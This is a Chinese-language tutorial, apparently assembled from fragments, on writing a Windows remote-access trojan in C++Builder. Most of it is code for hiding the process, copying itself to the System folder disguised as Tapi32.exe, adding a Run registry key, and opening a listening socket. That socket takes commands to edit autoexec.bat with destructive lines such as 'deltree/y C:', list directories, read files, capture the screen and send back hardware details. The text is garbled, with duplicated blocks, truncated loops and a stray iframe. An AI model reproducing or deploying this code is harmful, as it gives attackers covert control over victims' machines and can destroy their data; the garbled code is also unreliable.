#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}

int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}

 

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

 6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
    //TODO: Add your source code here
    //获得CPU型号
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—CD-ROM、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++)  {//循环检测A~Z
    type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型
    if(type==0){
        cs="未知类型磁盘:"+String(name)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==2){
        cs="可移动类型磁盘:"+String(name)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==3){
        cs="固定磁盘:"+String(name)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if(type==4)     {
        cs="网络映射磁盘:"+String(name)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if (type==5)    {
        cs="光驱:"+String(name)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    else if (type==6)    {
        cs="内存虚拟磁盘:"+String(name)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))    {
        cs=String(name)+"盘卷标为:"+String(volname)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        cs=String(name)+"盘序号为:"+String(sno)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数
        totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
        freespace=int(free)*byte*sector/1024/1024; //计算可用空间
        cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"/n";
        fwrite(cs.c_str(),cs.Length(),1,fp);
        }
    }
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
    waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
    cs="当前波形设备:"+String(wavecap.szPname)+"/n";
    fwrite(cs.c_str(),cs.Length(),1,fp);
    }
if (mididevice!=0){
    midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
    cs="当前MIDI设备:"+String(midicap.szPname)+"/n";
    fwrite(cs.c_str(),cs.Length(),1,fp);
    }
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
AnsiString sss;
sss=bpp;
cs="当前色深为:"+sss+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);

buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
    sock->SendStream(ms);
    }
catch(Exception&e) {
    }
}

 

  上面一段程序,基本上把相关的系统信息都取到了。

  7、服务器端程序的包装与加密

  用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

进入Windows的命令行模式下做如下操作
1)C:/>copy Server.Exe Server.Bak
2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”
3)C:/>type Text.Txt>>Server.Exe
4)运行Server.Exe

  怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

  8、总结

  以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助

 

//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096];       //old struct : char ProgramName[128];//要打开的程序的名字
bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum  为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

 

 

Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="机器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}

当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}

此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

 

 

#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}

int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}

 

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。


特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

  我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

  自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

  首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

 

  Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

  我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

  首先判断目标机的操作系统是Win9x还是WinNt:

{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
 {
   typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
    //定义RegisterServiceProcess()函数的原型
    HINSTANCE hDLL;
   LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
   hDLL = LoadLibrary("KERNEL32");
   //加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
   lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
    //得到RegisterServiceProcess()函数的地址
    lpRegisterServiceProcess(GetCurrentProcessId(),1);
   //执行RegisterServiceProcess()函数,隐藏本进程
   FreeLibrary(hDLL);
   //卸载动态链接库
 }
}

  这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:/Windows/System,并修改注册表,以便启动时自动加载:

 

{ 
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"//Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software//Microsoft//Windows//
CurrentVersion//Run",TRUE);
//打开键值Software//Microsoft//Windows//CurrentVersion//Run,如果不存在,就创建之
try
 {
  //如果以下语句发生异常,跳至catch,以避免程序崩溃
  if(Registry->ReadString("crossbow")!=SystemPath+"//Tapi32.exe")
    Registry->WriteString("crossbow",SystemPath+"//Tapi32.exe");
    //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
   //如果不是,就写入以上键值和内容
 }
catch(...)
 {
 //如果有错误,什么也不做
 }
}

  好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

  接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

  再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{
 FILE *fp=NULL;
 char * content;
 int times_of_try;
 char TempFile[MAX_PATH];
 //定义了一堆待会儿要用到的变量
 sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("//Win369.BAT")).c_str());
 //在%System%下建立一个文本文件Win369.bat,作为临时文件使用
 AnsiString temp=Socket->ReceiveText();
 //接收客户端(攻击者,也就是你自己)传来的数据
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

 

{
if(temp.SubString(0,9)=="edit conf")
 //如果接受到的字符串的前9个字符是“edit conf”
 {
   int number=temp.Length();
   //得到字符串的长度
   int file_name=atoi((temp.SubString(11,1)).c_str());
   //将第11个字符转换成integer型,存入file_name变量
   //为什么要取第11个字符,因为第10个字符是空格字符
   content=(temp.SubString(12,number-11)+'/n').c_str();
   //余下的字符串将被作为写入的内容写入目标文件
   FILE *fp=NULL;
   char filename[20];
   chmod("c://autoexec.bat",S_IREAD|S_IWRITE);
   chmod("c://config.sys",S_IREAD|S_IWRITE);
   //将两个目标文件的属性改为可读可写
   if(file_name==1)
    sprintf(filename,"%s","c://autoexec.bat");
    //如果第11个字符是1,就把Autoexec.bat格式化
   else if(file_name==2)
    sprintf(filename,"%s","c://config.sys");
    //如果第11个字符是1,就把Config.sys格式化
   times_of_try=0;
   //定义计数器
   while(fp==NULL)
    {
     //如果指针是空
    fp=fopen(filename,"a+");
    //如果文件不存在,创建之;如果存在,准备在其后添加
    //如果出错,文件指针为空,这样就会重复
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //跳至END处
    }
    }
   fwrite(content,sizeof(char),strlen(content),fp);
   //写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
   fclose(fp);
   //写完后关闭目标文件
   Socket->SendText("Sucess");
   //然后发回“Success”的成功信息
  }
}

  你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开!

查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰: align="right" marginwidth="0" marginheight="0" src="http://www.chinabyte.com/tag/cont_flash_software.html" frameborder="0" width="360" scrolling="no" height="300">

{
else if(temp.SubString(0,3)=="dir")
{
  //如果前3个字符是“dir”
  int Read_Num;
  char * CR_LF="/n";
  int attrib;
  char *filename;
  DIR *dir;
  struct dirent *ent;
  int number=temp.Length();
  //得到字符串的长度
  AnsiString Dir_Name=temp.SubString(5,number-3);
  //从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
  if(Dir_Name=="")
   {
    //如果目录名为空
    Socket->SendText("Fail By Open DIR's Name");
    //返回“Fail By Open DIR's Name”信息
    goto END;
    //跳到END
   }
  char * dirname;
  dirname=Dir_Name.c_str();
  if ((dir = opendir(dirname)) == NULL)
   {
    //如果打开目录出错
    Socket->SendText("Fail by your DIR's name!");
    //返回“Fail By Your DIR's Name”信息
    goto END;
    //跳到END
   }
  times_of_try=0;
  while(fp==NULL)
   {
    //如果指针是NULL
    fp=fopen(TempFile,"w+");
    //就创建system/Win369.bat准备读和写;如果此文件已存在,则会被覆盖
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
      {
      //如果已经试了100次了,仍未成功(真有耐心!)
      Socket->SendText("Fail By Open File");
      //就发回“Fail By Open File”的错误信息
      goto END;
      //并跳到END处
      }
    }
   while ((ent = readdir(dir)) != NULL)
    {
     //如果访问目标目录成功
     if(*(AnsiString(dirname)).AnsiLastChar()!='//')
     //如果最后一个字符不是“/”,证明不是根目录
     filename=(AnsiString(dirname)+"//"+ent->d_name).c_str();
     //加上“/”字符后将指针指向目录流
     else
     filename=(AnsiString(dirname)+ent->d_name).c_str();
     //如果是根目录,则不用加“/”
     attrib=_rtl_chmod(filename, 0);
     //得到目标文件的访问属性
     if (attrib &amp; FA_RDONLY)
     //“&”字符是比较前后两个变量,如果相同返回1,否则返回0
     fwrite(" R",sizeof(char),3,fp);
     //将目标文件属性设为只读
     else
     fwrite(" ",sizeof(char),3,fp);
     //失败则写入空格
     if (attrib & FA_HIDDEN)
     fwrite("H",sizeof(char),1,fp);
     //将目标文件属性设为隐藏
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_SYSTEM)
     fwrite("S",sizeof(char),1,fp);
     //将目标文件属性设为系统
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_ARCH)
     fwrite("A",sizeof(char),1,fp);
     //将目标文件属性设为普通
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_DIREC)
     fwrite("

",sizeof(char),9,fp);
     //将目标文件属性设为目录
     else
     fwrite("     ",sizeof(char),9,fp);
     //失败则写入空格
     fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
     //将目录名写入目标文件
     fwrite(CR_LF,1,1,fp);
     //写入换行
    }
    fclose(fp);
    //关闭文件
    closedir(dir);
    //关闭目录
    FILE *fp1=NULL;
    times_of_try=0;
    while(fp1==NULL)
     {
     fp1=fopen(TempFile,"r");
     //打开Win369.bat准备读
     times_of_try=times_of_try+1;
     //计数器加1
     if(times_of_try>100)
     {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //并跳到END处
     }
     }
    AnsiString Return_Text="";
    char temp_content[300];
    for(int i=0;i<300;i++) temp_content[i]='/0';
    //定义的一个空数组
    Read_Num=fread(temp_content,1,300,fp1);
    //从目标文件中读入前300个字符
    while(Read_Num==300)
    {
     Return_Text=Return_Text+temp_content;
     //Return_Text变量加上刚才的300个字符
     for(int i=0;i<300;i++) temp_content[i]='/0';
     Read_Num=fread(temp_content,1,300,fp1);
     //重复
    };
    Return_Text=Return_Text+temp_content;
    //Return_Text变量加上刚才的300个字符
    fclose(fp1);
    //关闭目标文件
    Socket->SendText(Return_Text);
    //返回Return_Text变量的内容
  }

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

 

{
else if(temp.SubString(0,4)=="type")
{
  //如果前4个字符是“type”
  int Read_Num;
  int number=temp.Length();
  AnsiString File_Name=temp.SubString(6,number-4);
  //将目标文件流存入File_Name变量中
  times_of_try=0;
  while(fp==NULL)
   {
    fp=fopen(File_Name.c_str(),"r");
    //打开目标文件准备读
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
     //如果已试了100次了
